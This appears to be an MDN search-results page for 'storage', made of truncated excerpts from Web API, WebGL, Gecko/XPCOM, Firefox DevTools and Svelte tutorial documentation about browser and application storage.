internalformat a glenum specifying the internal format of the renderbuffer. possible values: gl.rgba4: 4 red bits, 4 green bits, 4 blue bits 4 alpha bits. gl.rgb565: 5 red bits, 6 green bits, 5 blue bits. gl.rgb5_a1: 5 red bits, 5 green bits, 5 blue bits, 1 alpha bit. gl.depth_component16: 16 depth bits. gl.stencil_index8: 8 stencil bits. ...
...b and alpha. when using a webgl 2 context and the ext_color_buffer_float extension: gl.r16f gl.rg16f gl.rgba16f gl.r32f gl.rg32f gl.rgba32f gl.r11f_g11f_b10f width a glsizei specifying the width of the renderbuffer in pixels. height a glsizei specifying the height of the renderbuffer in pixels. return value none. examples gl.renderbufferstorage(gl.renderbuffer, gl.rgba4, 256, 256); specifications specification status comment webgl 1.0the definition of 'renderbufferstorage' in that specification. recommendation initial definition for webgl. opengl es 2.0the definition of 'glrenderbufferstorage' in that specification. standard man page of the opengl es 2 api. webgl 2.0the definition...
...that specification. recommendation initial definition for webgl. opengl es 2.0the definition of 'glrenderbufferstorage' in that specification. standard man page of the opengl es 2 api. webgl 2.0the definition of 'getrenderbufferparameter' in that specification. editor's draft updated definition for webgl 2. opengl es 3.0the definition of 'glrenderbufferstorage' in that specification. standard man page of the (similar) opengl es 3 api. adds many new internal formats. ...
507 Insufficient Storage - HTTP
Web › HTTP › Status › 507
the hypertext transfer protocol (http) 507 insufficient storage response status code may be given in the context of the web distributed authoring and versioning (webdav) protocol (see rfc 4918). it indicates that a method could not be performed because the server cannot store the representation needed to successfully complete the request. ...
... the hypertext transfer protocol (http) 507 insufficient storage response status code may be given in the context of the web distributed authoring and versioning (webdav) protocol (see rfc 4918). it indicates that a method could not be performed because the server cannot store the representation needed to successfully complete the request. ...
... code may be given in the context of the web distributed authoring and versioning (webdav) protocol (see rfc 4918). ...
mozIStoragePendingStatement
last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports method overview void cancel(); methods cancel() cancels the pending statement. fails only if you attempt to cancel the operation more than once. note: for read statements, such as select, once you cancel the statement, you will receive no further notifications about results. void cancel(); parameters none. ...
...select, once you cancel the statement, you will receive no further notifications about results. void cancel(); parameters none. return value in versions of gecko prior to gecko 1.9.2, this returned a boolean value that was true if the query was canceled successfully or false if not. starting with gecko 1.9.2, this information is no longer provided and the method doesn't return a value. see also storage mozistorageconnection mozistoragestatement ...
mozIStorageStatementRow
terface has no defined properties, but has properties based on the name of the columns in the sql result from the statement it was accessed off of. ...
... for example, say you create a statement like so: var statement = dbconn.createstatement("select id, name from table_name"); the object would have two properties, id and name, that can be used to get the value of the column after you have called mozistoragestatement.executestep() like so: while (statement.executestep()) { let id = statement.row.id; let name = statement.row.name; } see also storage mozistoragestatement ...
nsIDOMStorageWindow
dom/interfaces/storage/nsidomstoragewindow.idlscriptable this interface provides access to a dom window's client side storage objects. all dom windows inherit from this interface. 1.0 66 introduced gecko 1.8.1 obsolete gecko 8.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in gecko 8.0 this interface has been merged into nsidomwindow, and this interface has been removed. attributes attribute type description globalstorage nsidomstoragelist global storage, accessible by domain. read only. localstorage nsidomstorage local storage for the current browsing context. ...
... / thunderbird 3.3 / seamonkey 2.1) in gecko 8.0 this interface has been merged into nsidomwindow, and this interface has been removed. attributes attribute type description globalstorage nsidomstoragelist global storage, accessible by domain. read only. localstorage nsidomstorage local storage for the current browsing context. data stored in local storage may only be accessed from the same origin that inserted the data into storage in the first place. read only. moz_indexeddb nsiidbfactory indexed databases for the current browsing context. read only. sessionstorage nsidomstorage session storage for the current browsing context. data stored in session storage may be accessed by any site in the browsing context. read...
StorageEstimate.quota - Web APIs
the storageestimate dictionary's quota property is a conservative approximation of how much storage is allotted to the origin or web app that called storagemanager.estimate(); there may be more space available, but there will not be less. this value is an estimate to help prevent its use for fingerprinting—that is, identifying a device using an amalgamation of the values of seemingly innocuous properties. syntax quota = storageestimate.quota; value a numeric value specifying an approximation of the total amount of storage space available for use by the application. example in this example, we obtain the usage estimates and present the percentage of storage capacity currently used to the user. html content <label> you’re currently using about <output id="percent"> </out...
...quota = storageestimate.quota; value a numeric value specifying an approximation of the total amount of storage space available for use by the application. example in this example, we obtain the usage estimates and present the percentage of storage capacity currently used to the user. html content <label> you’re currently using about <output id="percent"> </output>% of your available storage. </label> javascript content navigator.storage.estimate().then(function(estimate) { document.getelementbyid("percent").value = (estimate.usage / estimate.quota * 100).tofixed(2); }); result specifications specification status comment storagethe definition of 'quota' in that specification. living standard initial definition ...
StorageEstimate.usage - Web APIs
the storageestimate dictionary's usage property is a conservative approximation of how much storage is allotted to the origin or web app that called storagemanager.estimate(); there may be more space available, but there will not be less. the value is an estimate because the user agent may use compression, duplication prevention techniques, and other methods to improve storage efficiency. syntax usage = storageestimate.usage; value a numeric value specifying an approximation of the total amount of storage space available for use by the application. example in this example, we obtain the usage estimates and present the percentage of storage capacity currently used to the user. html content <label> you’re currently using about <output id="percent"> </output>% of your avail...
...usage = storageestimate.usage; value a numeric value specifying an approximation of the total amount of storage space available for use by the application. example in this example, we obtain the usage estimates and present the percentage of storage capacity currently used to the user. html content <label> you’re currently using about <output id="percent"> </output>% of your available storage. </label> javascript content navigator.storage.estimate().then(function(estimate) { document.getelementbyid("percent").value = (estimate.usage / estimate.quota * 100).tofixed(2); }); result specifications specification status comment storagethe definition of 'usage' in that specification. living standard initial definition ...
StorageManager - Web APIs
the storagemanager interface of the the storage api provides an interface for managing persistance permissions and estimating available storage. you can get a reference to this interface using either navigator.storage or workernavigator.storage. methods storagemanager.estimate() secure context returns a promise that resolves to a storageestimate object containing usage and quota numbers for your origin. storagemanager.persist() secure context returns a promise that resolves to true if the user agent is able to persist your site's storage. storagemanager.persisted() secure context returns a promise that resolves to true if persistence has already been granted for your site's storage. ...
...sage and quota numbers for your origin. storagemanager.persist() secure context returns a promise that resolves to true if the user agent is able to persist your site's storage. storagemanager.persisted() secure context returns a promise that resolves to true if persistence has already been granted for your site's storage. specifications specification status comment storagethe definition of 'storagemanger' in that specification. living standard initial definition. ...
WebGL2RenderingContext.texStorage2D() - Web APIs
possible values: gl.texture_2d: a two-dimensional texture. gl.texture_cube_map: a cube-mapped texture. levels a glint specifying the number of texture levels. internalformat a glenum specifying the texture store format. ...
...gl.compressed_signed_rg11_eac gl.compressed_rgb8_etc2 gl.compressed_rgba8_etc2_eac gl.compressed_srgb8_etc2 gl.compressed_srgb8_alpha8_etc2_eac gl.compressed_rgb8_punchthrough_alpha1_etc2 gl.compressed_srgb8_punchthrough_alpha1_etc2 width a glsizei specifying the width of the texture. height a glsizei specifying the height of the texture. return value none. examples gl.texstorage2d(gl.texture_2d, 1, gl.rgb8, 256, 256); specifications specification status comment webgl 2.0the definition of 'texstorage2d' in that specification. editor's draft initial definition for webgl. opengl es 3.0the definition of 'gltexstorage2d' in that specification. standard man page of the (similar) opengl es 3.0 api. ...
WebGL2RenderingContext.texStorage3D() - Web APIs
possible values: gl.texture_3d: a three-dimensional texture. gl.texture_2d_array: a two-dimensional array texture. level a glint specifying the number of texture levels. internalformat a glenum specifying the texture store format. ...
... gl.compressed_rgba8_etc2_eac gl.compressed_srgb8_etc2 gl.compressed_srgb8_alpha8_etc2_eac gl.compressed_rgb8_punchthrough_alpha1_etc2 gl.compressed_srgb8_punchthrough_alpha1_etc2 width a glsizei specifying the width of the texture. height a glsizei specifying the height of the texture. depth a glsizei specifying the depth of the texture. return value none. examples gl.texstorage3d(gl.texture_3d, 1, gl.rgb8, 256, 256, 256); specifications specification status comment webgl 2.0the definition of 'texstorage3d' in that specification. editor's draft initial definition for webgl. opengl es 3.0the definition of 'gltexstorage3d' in that specification. standard man page of the (similar) opengl es 3.0 api. ...
Window: storage event - Web APIs
the storage event of the window interface fires when a storage area (localstorage) has been modified in the context of another document. bubbles no cancelable no interface storageevent event handler property onstorage examples log the samplelist item to the console when the storage event fires: window.addeventlistener('storage', () => { // when local storage changes, dump the list to // the console. console.log(json.parse(window.localstorage.getitem('samplelist'))); }); the same action can be achieved using the onstorage event handler property: window.onstorage = () => { // when local storage changes, dump the list to // the console. ...
...es: window.addeventlistener('storage', () => { // when local storage changes, dump the list to // the console. console.log(json.parse(window.localstorage.getitem('samplelist'))); }); the same action can be achieved using the onstorage event handler property: window.onstorage = () => { // when local storage changes, dump the list to // the console. console.log(json.parse(window.localstorage.getitem('samplelist'))); }; specifications specification status html living standardthe definition of 'storage' in that specification. living standard ...
Storage - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development. read the experiment report for what we learned from it and the blog post announcing the first sdk release for what we're up to next! simple storage an easy-to-use persistent object data store file access interface for performing file i/o settings settings persist across browser sessions and are accessible to jetpacks via simple object retrieval and assignment. ...
Blocked: All storage access requests
message firefox: cookieblockedall=request to access cookies or storage on “x” was blocked because we are blocking all storage access requests. what went wrong? a request to access cookies or storage was blocked because the browser is blocking all storage access. the permission can be changed or removed by: going to preferences > content blocking in the custom content blocking section, selecting a value other than all cookies for the cookies item if the resource that is being blocked doesn't need authentication, you can fix the warning message by adding a crossorigin="anonymous" attribute to your element. ...
Blocked: All third-party storage access requests
message firefox: cookieblockedforeign=request to access cookies or storage on “x” was blocked because we are blocking all third-party storage access requests and content blocking is enabled. what went wrong? a request to access cookies or storage was blocked because it came from a third-party (a different origin) and content blocking is enabled. the permission can be changed or removed by: going to preferences > content blocking and either adding an exception with the manage exceptions… button choosing the custom content blocking and unchecking the cookies checkbox if the resource that is being blocked doesn't need authentication, you can fix the warning message by adding a crossorigin="anonymous" attribute to the relevant element. ...
Blocked: Storage access requests from trackers
message firefox: cookieblockedtracker=request to access cookies or storage on “x” was blocked because it came from a tracker and content blocking is enabled. what went wrong? a request to access cookies or storage was blocked because the browser identified it as coming from a tracker and content blocking is enabled. the permission can be changed or removed by: going to preferences > content blocking and either adding an exception with the manage exceptions… button choosing the custom content blocking and unchecking the tracker checkbox if the blocked resource doesn't need authentication, you can fix the warning message by adding a crossorigin="anonymous" attribute to the relevant element. ...
Partitioned: All third-party storage access requests
message firefox: cookiepartitionedforeign=partitioned cookie or storage access was provided to “<url>” because it is loaded in the third-party context and storage partitioning is enabled. what went wrong? a request to access cookies or storage was partitioned because it came from a third-party (a different origin) and dynamic first-party isolation is enabled. ...
mozIStorageBindingParams
the mozistoragebindingparams interface is used to bind values to parameters prior to calling mozistoragestatement.executeasync(). storage/public/mozistoragebindingparams.idlscriptable please add a summary to this article. last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports you can only create mozistoragebindingparams objects by calling the mozistoragebindingparamsarray.newbindingparams(). method overview void bindbyindex(in unsigned long aindex, in nsivariant avalue); void bindblobbyindex(in unsigned long aindex, [array, const, size_is(avaluesize)] in octet avalue, in unsigned long avaluesize); void binddoublebyindex(in unsigned long aindex, in double avalue); native code only! void bindint32byindex...
mozIStorageCompletionCallback
this interface should be implemented to handle callbacks from asynchronous storage api routines. storage/public/mozistoragecompletioncallback.idlscriptable please add a summary to this article. last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits from: nsisupports method overview void complete(); methods complete() called when an asynchronous storage routine has completed. void complete(); parameters none. ...
mozIStorageError
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports attributes attribute type description message autf8string a human readable error string with details; this may be null if no details are available. read only. result long one of the error code values listed under constants on this page. ...
nsICookieStorage
obsolete since gecko 2 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. this interface represents the storage repository for cookies. modules/plugin/base/public/nsicookiestorage.idlnot scriptable please add a summary to this article. last changed in gecko 1.7 inherits from: nsisupports method overview void getcookie(in string acookieurl, in voidptr acookiebuffer, in pruint32ref acookiesize); void setcookie(in string acookieurl, in constvoidptr acookiebuffer, in unsigned long acookiesize); methods getcookie() retrieves a cookie from the browser's persistent cookie store. void getcookie( in string acookieurl, in v...
Cache Storage - Firefox Developer Tools
if you select a cache, you'll see a list of the resources it contains. for each resource, you'll see: the url for the resource. the status code for the request that was made to fetch it. ...
Extension Storage - Firefox Developer Tools
this storage type is only shown when debugging extensions. when selecting an extension id in the storage tree of the storage inspector, a table lists the details of all the extension storage present for the extension. this table contains the following columns: key — the name of the stored item. value — the value of the stored item. storage area — the name of the area where the item is stored. ...
Storage.clear() - Web APIs
Web › API › Storage › clear
the clear() method of the storage interface clears all keys stored in a given storage object. syntax storage.clear(); return value undefined. examples the following function creates three data entries in local storage, and then deletes them by using clear(). function populatestorage() { localstorage.setitem('bgcolor', 'red'); localstorage.setitem('font', 'helvetica'); localstorage.setitem('image', 'migato.png'); localstorage.clear(); } note: for a real world example, see our web storage demo. specifications specification status comment html living standardthe definition of 'storage.clear' in that specification. living standard ...
Storage.length - Web APIs
Web › API › Storage › length
the length read-only property of the storage interface returns the number of data items stored in a given storage object. syntax length = storage.length; return value the number of items stored in the storage object. example the following function adds three data items to the local storage for the current domain, then returns the number of items in the storage: function populatestorage() { localstorage.setitem('bgcolor', 'yellow'); localstorage.setitem('font', 'helvetica'); localstorage.setitem('image', 'cats.png'); return localstorage.length; // should return 3 } note: for a real world example, see our web storage demo. specifications specification status comment html living standardthe definition of 'storage.length' in that specification. living ...
StorageManager.persisted() - Web APIs
the persisted() method of the storagemanager interface returns a promise that resolves to true if box mode is persistent for your site's storage. syntax navigator.storage.persisted().then(function(persistent) { ... }) parameters none. returns a promise that resolves to a boolean. example if (navigator.storage && navigator.storage.persist) navigator.storage.persisted().then(function(persistent) { if (persistent) console.log("storage will not be cleared except by explicit user action"); else console.log("storage may be cleared by the ua under storage pressure."); }); specifications specification status comment storagethe definition of 'persisted' in that specification. living standard initial definition. ...
StorageQuota.requestPersistentQuota - Web APIs
the requestpersistentquota() property of the storagequota interface requests persistent storage for the requesting application and returns a promise to an instance of storageinfo. there is no guarantee that the requested space will be granted by the user agent. syntax storagequota.requestpersistentquota().then(function(storageinfo) { ... }) parameters none. returns a reference to a storageinfo object. specifications specification status comment quota management apithe definition of 'requestpersistentquota()' in that specification. obsolete initial definition. ...
StorageQuota.supportedTypes - Web APIs
the supportedtypes read-only property of the storagequota interface returns a list of the available storage types. syntax var storagetypes = storagequota.supportedtypes value a frozen array of available storage types. specifications specification status comment quota management apithe definition of 'supportedtypes' in that specification. obsolete initial definition. ...
WindowEventHandlers.onstorage - Web APIs
the onstorage property of the windoweventhandlers mixin is an eventhandler for processing storage events. the storage event fires when a storage area has been changed in the context of another document. syntax window.onstorage = functionref; value functionref is a function name or a function expression. this function receives a storageevent as its sole argument. example this example logs the value for a storage key whenever it changes in another document. window.onstorage = function(e) { console.log('the ' + e.key + ' key has been changed from ' + e.oldvalue + ' to ' + e.newvalue + '.'); }; specifications specification status comment html living standardthe definition of 'onstorage' in that specification. living standard ...
Index - Web APIs
Web › API › Index
lereferencevalue.variable api, css typed object model api, cssvariablereferencevalue, houdini, needsexample, property, reference, variable the variable property of the cssvariablereferencevalue interface a built-in css value to be returned by the custom name. 502 cache api, cache, cache api, experimental, interface, offline, reference, service workers, service worker api, storage the cache interface provides a storage mechanism for request / response object pairs that are cached, for example as part of the serviceworker life cycle. note that the cache interface is exposed to windowed scopes as well as workers. you don't have to use it in conjunction with service workers, even though it is defined in the service worker spec. 503 cache.add() api, cache,...
...() method of the cache interface returns a promise that resolves to an array of all matching responses in the cache object. 509 cache.put() api, cache, experimental, method, needsexample, reference, service workers, service worker api, serviceworker, put the put() method of the cache interface allows key/value pairs to be added to the current cache object. ...
... interface returns a promise that resolves to an array of all matching responses in the cache object. 509 cache.put() api, cache, experimental, method, needsexample, reference, service workers, service worker api, serviceworker, put the put() method of the cache interface allows key/value pairs to be added to the current cache object. ...
...And 138 more matches
Index
Mozilla › Tech › XPCOM › Index
he course of an application. unless otherwise noted you register for the topics using the nsiobserverservice. 73 setting http request headers add-ons, extensions, http, xul, xulrunner http is one of the core technologies behind the web. in addition to the actual content, some important information is passed with http headers for both http requests and responses. 74 storage guide, interfaces, storage, toolkit api storage is a sqlite database api. it is available to trusted callers, meaning extensions and firefox components only. 75 performance storage, toolkit api mozstorage uses sqlite as the database backend. it has generally good performance for a small embedded database. however, many things cause various database operations to be ...
... this page is designed to help explain the cause and possible solutions for these warnings. 77 the thread manager firefox 3, threads the thread manager, introduced in firefox 3, offers an easy to use mechanism for creating threads and dispatching events to them for processing. ...
... this page is designed to help explain the cause and possible solutions for these warnings. ...
...And 35 more matches
HTTP Cache
hread-safe and non-blocking. there is no ipc support. it's only accessible on the default chrome process. when there is no profile the new http cache works, but everything is stored only in memory not obeying any particular limits. it is strongly encoraged to not use the old cache api any more - nsicacheservice et al. it will soon be completely obsoleted and removed (bug 913828). ...
...ed only in memory not obeying any particular limits. it is strongly encoraged to not use the old cache api any more - nsicacheservice et al. it will soon be completely obsoleted and removed (bug 913828). nsicachestorageservice the http cache entry-point. accessible as a service only, fully thread-safe, scriptable. ...
... it is strongly encoraged to not use the old cache api any more - nsicacheservice et al. it will soon be completely obsoleted and removed (bug 913828). nsicachestorageservice the http cache entry-point. accessible as a service only, fully thread-safe, scriptable. //github.com/realityripple/uxp/blob/master/netwerk/cache2/nsicachestorageservice.idl "@mozilla.org/netwerk/cache-storage-service;1" provides methods accessing “storage” objects – see nsicachestorage below – giving further access to cache entries – see nsicacheentry more below – per specific url. ...
...And 26 more matches
Working with Svelte stores - Learn web development
s using stores we will create an alert component that shows notifications on screen, which can receive messages from any component. in this case, the alert component is independent from the rest — it is not a parent or child of any other — so the messages don't fit into the component hierarchy. we will also see how to develop our own custom store to persist the todo information to web storage, allowing our todos to persist over page reloads. code along with us git clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tutorial.git then to get to the current app state, run cd mdn-svelte-tutorial/06-stores or directly download the folder's content: npx degit opensas/mdn-svelte-tutorial/06-stores remember to run npm install &...
...d:todos={todos} />. go back to your app, try adding some todos, then go your developer tools web console. you'll see that every modification we make to our todos is reflected in the todos array defined in app.svelte thanks to the bind directive. now we have to find a way to persist these todos. we could implement some code in our app.svelte component to read and save our todos to web storage or to a web service. but wouldn't be better if we could develop some generic store that allows us to persist its content? this would allow us to use it just like any other store, and abstract away the persistence mechanism. we could create a store that syncs its content to web storage, and later develop another one that syncs against a web service. switching between them would be trivial and we ...
... sandboxed environment which will not let you access web torage, and you will get a "the operation is insecure" error. in order to follow this section you'll have to clone the repo and go to the mdn-svelte-tutorial/06-stores folder or you can directly download the folder's content with npx degit opensas/mdn-svelte-tutorial/06-stores. ...
...And 12 more matches
nsICacheService
riptable handles visiting and evicting entries operations along with the creating of cache sessions and creation of temporary client ids operations for offline caching. ...
...f cache sessions and creation of temporary client ids operations for offline caching. 66 introduced gecko 1.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface is no longer supported and planned to be removed soon: use nsicachestorageservice instead. at the time of writing there is no documentation for nsicachestorageservice but comments are available in the source. ...
... seamonkey 2.1) this interface is no longer supported and planned to be removed soon: use nsicachestorageservice instead. at the time of writing there is no documentation for nsicachestorageservice but comments are available in the source. note: starting in gecko 2.0, cache i/o is handled asynchronously. ...
...And 12 more matches
Monitoring downloads - Archive of obsolete content
itor the status of downloads. although it was possible to do so in previous versions of firefox, it was previously only possible for one observer to do so at a time. firefox 3 introduces new api that allows any number of listeners to observe downloads. this article demonstrates how to monitor downloads in firefox 3, using the download manager. as a nice bonus, it also demonstrates how to use the storage api to issue sqlite commands on a database. the result is a window you can open by choosing "download log" in the tools menu, which lists all downloads that have been started since you installed the extension. in the list is the name of the file, the start and end times of the download, the download speed, and the status of the download. a tooltip is included that displays the full source url of ...
... dbconn.executesimplesql("create table items (source text, size...
... dbconn.executesimplesql("create table items (source text, size integer," + " start...
...And 10 more matches
Storing annotations - Archive of obsolete content
tutorial relies on the since-removed widget api and no longer works with firefox. the widget api is deprecated from firefox 29 onwards. please see the ui module for replacements. in particular, for a simple button, try the action button or toggle button apis, and for a more complex widget try the toolbar or sidebar apis. ...
... the widget api is deprecated from firefox 29 onwards. please see the ui module for replacements. in particular, for a simple button, try the action button or toggle button apis, and for a more complex widget try the toolbar or sidebar apis. now we are able to create annotations, let's store them using the simple-storage module. ...
...cated from firefox 29 onwards. please see the ui module for replacements. in particular, for a simple button, try the action button or toggle button apis, and for a more complex widget try the toolbar or sidebar apis. now we are able to create annotations, let's store them using the simple-storage module. ...
...And 9 more matches
XPCOM Stream Guide
Mozilla › Tech › XPCOM › Guide › Streams
n the other hand, we use streams to access files within a zip archive, to store and provide data coming from websites, even to talk to other programs on the same computer through "pipes" (more on that later). we even have streams that take input from other streams and transform the data within them to something more useful. primitive streams there are streams for several different types of data storage. ...
...on that later). we even have streams that take input from other streams and transform the data within them to something more useful. primitive streams there are streams for several different types of data storage. each of these implements nsiinputstream. ...
... and transform the data within them to something more useful. primitive streams there are streams for several different types of data storage. each of these implements nsiinputstream. ...
...And 9 more matches
nsIDocShell
nged in gecko 12.0 (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9) implemented by @mozilla.org/docshell;1. do not create an instance directly. instead, retrieve an nsidocshell from a browser or other document container element. note that out-of-process browsers do not have an nsidocshell; instead you can access the nsidocshell object from a frame script. ...
...rd 12.0 / seamonkey 2.9) implemented by @mozilla.org/docshell;1. do not create an instance directly. instead, retrieve an nsidocshell from a browser or other document container element. note that out-of-process browsers do not have an nsidocshell; instead you can access the nsidocshell object from a frame script. ...
.../ seamonkey 2.9) implemented by @mozilla.org/docshell;1. do not create an instance directly. instead, retrieve an nsidocshell from a browser or other document container element. note that out-of-process browsers do not have an nsidocshell; instead you can access the nsidocshell object from a frame script. ...
...And 9 more matches
Introduction to the File and Directory Entries API - Web APIs
synchronous versions of the interfaces. the asynchronous api can be used in cases where you don't want an outstanding operation to block the ui. the synchronous api, on the other hand, allows for simpler programming model, but it must be used with webworkers. usefulness of the api the file and directory entries api is an important api for the following reasons: it lets apps have offline and storage features that involve large binary blobs. it can improve performance by letting an app pre-fetch assets in the background and cache locally. it lets users of your web app directly edit a binary file that's in their local file directory. it provides a storage api that is already familiar to your users, who are used to working with file systems. for examples of features you can create with th...
...re-fetch assets in the background and cache locally. it lets users of your web app directly edit a binary file that's in their local file directory. it provides a storage api that is already familiar to your users, who are used to working with file systems. for examples of features you can create with this app, see the sample use cases section. the file and directory entries api and other storage apis the file and directory entries api is an alternative to other storage apis like indexeddb, websql (which has been deprecated since november18, 2010), and appcache. the api is a better choice for apps that deal with blobs for the following reasons: the file and directory entries api offers client-side storage for use cases that are not addressed by databases. if you want to have large mut...
... like indexeddb, websql (which has been deprecated since november18, 2010), and appcache. the api is a better choice for apps that deal with blobs for the following reasons: the file and directory entries api offers client-side storage for use cases that are not addressed by databases. if you want to have large mutable chunks of data, the file and directory entries api is a much more efficient storage solution than a database. ...
...And 9 more matches
LocalFileSystem - Web APIs
the localfilesystem interface of the file system api gives you access to a sandboxed file system. the methods are implemented by window and worker objects. basic concepts this section includes a few key concepts for the methods. creating new storage you request access to a sandboxed file system by calling window.requestfilesystem(). the argument of a successful callback is the filesystem object, which has two properties: the name and root of the file system. you can call the method more than once if you want to create two file systems: one that's temporary and one that's persistent. (to learn more about the storage types, see the basic concepts article.) in most cases, you need to create only one file system, but in a few cases, it might be useful to create a second one. for exam...
...em. you can call the method more than once if you want to create two file systems: one that's temporary and one that's persistent. (to learn more about the storage types, see the basic concepts article.) in most cases, you need to create only one file system, but in a few cases, it might be useful to create a second one. ...
... one that's persistent. (to learn more about the storage types, see the basic concepts article.) in most cases, you need to create only one file system, but in a few cases, it might be useful to create a second one. for example, if you were to create a mail app, you might create a temporary storage for caching assets (like images and attachments) to speed up performance, while creating persistent storage for unique data—such as drafts of emails that were composed while offline—that should not be lost before they are backed up into the cloud. using persistent storage the requestfilesystem() method lets you ask for persistent or temporary storage. ...
...And 8 more matches
Index - Archive of obsolete content
quest needsupdate, sdk, add-on make simple network requests. 56 selection add-on sdk get and set text and html selections in the current web page. 57 self add-on sdk access data that is bundled with the add-on, and add-on metadata. 58 simple-prefs add-on sdk store preferences across application restarts. 59 simple-storage add-on sdk, add-ons, reference lets an add-on store data so that it's retained across firefox restarts. 60 system add-on sdk query the add-on's environment and access arguments passed to it. 61 tabs add-on sdk open, manipulate, and access tabs, and receive tab events. 62 timers add-on sdk set one-off and periodic timers. ...
...cations such as thunderbird, seamonkey, and flock. ...
...nderbird, seamonkey, and flock. ...
...And 7 more matches
Settings - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development. read the experiment report for what we learned from it and the blog post announcing the first sdk release for what we're up to next! ...
...pment. read the experiment report for what we learned from it and the blog post announcing the first sdk release for what we're up to next! ...
.... jetpack will automatically generate a user interface based on the specification. the settings persist across browser sessions and are stored using the jetpack simple storage api. settings are private to each jetpack and are not accessible by other jetpacks. because it is still under development, the api currently lives in the future and must be imported before it is used: jetpack.future.import("storage.settings"); specifying settings in a manifest to specify its settings, a jetpack defines a variable named manifest in its global namespace before it imports the settings api. the value of this variable must be an object that contains a property named settings. the value of the settings property is an array of objects representing the settings to expose to users. jetpack will automatically genera...
...And 7 more matches
Index - Firefox Developer Tools
y horizontal and vertical rulers on a web page: 103 settings beginning with firefox 62, the icon to open developer tools settings has been moved into a menu accessed by clicking/touching ... (the elipsis) on the right of the tab. 104 shader editor the shader editor enables you to see and edit the vertex and fragment shaders used by webgl. ...
... beginning with firefox 62, the icon to open developer tools settings has been moved into a menu accessed by clicking/touching ... (the elipsis) on the right of the tab. 104 shader editor the shader editor enables you to see and edit the vertex and fragment shaders used by webgl. ...
... with firefox 62, the icon to open developer tools settings has been moved into a menu accessed by clicking/touching ... (the elipsis) on the right of the tab. 104 shader editor the shader editor enables you to see and edit the vertex and fragment shaders used by webgl. ...
...And 7 more matches
Settings - Archive of obsolete content
settings are private to each jetpack and are not accessible by other jetpacks. because it is still under development, the api currently lives in the future and must be imported before it is used: specifying settings in a manifest to specify its settings, a jetpack defines a variable named manifest in its global namespace before it imports the settings api. the value of this variable must be an object that contains a property named settings. ...
..., settings: [ { name: "username", type: "text", label: "username", default: "jdoe" }, { name: "password", type: "password", label: "secret" } ] }, { name: "music", type: "boolean", label: "music", default: true }, { name: "volume", type: "range", label: "volume", min: 0, max: 10, default: 5 } ] }; // import after defining manifest! ...
..."music", default: true }, { name: "volume", type: "range", label: "volume", min: 0, max: 10, default: 5 } ] }; // import after defining manifest! jetpack.future.import("storage.settings"); this definition will result in a user interface with an input field for each setting defined above. ...
...And 6 more matches
Code snippets - Archive of obsolete content
s()) { for each (let tab in client.tabs) { let url = tab.urlhistory[0]; // load the tab via the tabbed browser api. ...
...payload.engines[engine].version = 0; // or any other version number you like. envelope.payload = json.stringify(payload); r.put(json.stringify(envelope)); generate new keys // clients always wipe ...
...erecord(id, "bookmarks"); let len = record.tostring().length; if (len > 1000) { console.log("id: " + id + ", len = " + len + ", " + record.title); } } print an alphabetically sorted list of members of a collection components.utils.import("resource://services-sync/main.js"); components.utils.import("resource://services-sync/resource.js"); let ids = json.parse(new resource(weave.service.storageurl + "bookmarks").get()); for each (let id in ids.sort()) { console.log(" " + id); } get a count of the number of members of a collection on the server let collection = "passwords"; components.utils.import("resource://services-sync/main.js"); components.utils.import("resource://services-sync/resource.js"); json.parse(new resource(weave.service.storageurl + collection).get()).length; dump the...
...And 5 more matches
TypeScript support in Svelte - Learn web development
we also had a look at using the transition directive to implement animations on dom elements in svelte. we will now learn how to use typescript in svelte applications. first we'll learn what typescript is and what benefits it can bring us. then we'll see how to configure our project to work with typescript files. ...
...e. just remove the .js extension, like this: import { todos } from '../stores' now onto localstore.js. update the import statement in stores.ts, like so: import { localstore } from './localstore' start by renaming the file to localstore.ts. typescript is telling us to specify the type of the key, initial, and value variables. the first one is easy — the key of our local web storage should be a string. but initial and value should be any object that could be converted to a valid json string with the json.stringify method. so it is in fact any javascript object with a couple limitations, for example undefined, functions, and symbols are not valid json values. so we'll create the type jsonvalue to specify these conditions. create the file json.type.ts in the types fol...
...array of jsonvalue, and also an object with properties of type jsonvalue. we will import our jsonvalue type and use it accordingly. ...
...And 5 more matches
Mozilla internal string guide
there are a number of additional string classes: classes which exist primarily as constructors for the other types, particularly nsdependent[c]string and nsdependent[c]substr...
...lass to use when. nsastring/nsacstring: the abstract base class for all strings. it provides an api for assignment, individual character access, basic manipulation of characters in the string, and string comparison. this class corresponds to the xpidl astring parameter type. nsastring is not necessarily null-terminated. nsstring/nscstring: builds on nsastring by guaranteeing a null-terminated storage. this allows for a method (.get()) to access the underlying character buffer. the remainder of the string classes inherit from either nsastring or nsstring. thus, every string class is compatible with nsastring. since every string derives from nsastring (or nsacstring), they all share a simple api. common read-only methods: .length() - the number of code units (bytes for 8-bit string classe...
... the following is a list of the most common concrete classes. once you are familiar with them, see the appendix describing what class to use when. nsstring / nscstring- a null-terminated string whose buffer is allocated on the heap. destroys its buffer when the string object goes away. nsautostring / nsautocstring- derived from nsstring, a string which owns a 64 code unit buffer in the same storage space as the string itself. if a string less than 64 code units is assigned to an nsautostring, then no extra storage will be allocated. for larger strings, a new buffer is allocated on the heap. if you want a number other than 64, use the templated types nsautostringn / nsautocstringn. (nsautostring and nsautocstring are just typedefs for nsautostringn<64> and nsautocstringn<64>, respectively.) ...
...And 5 more matches
WebIDL bindings
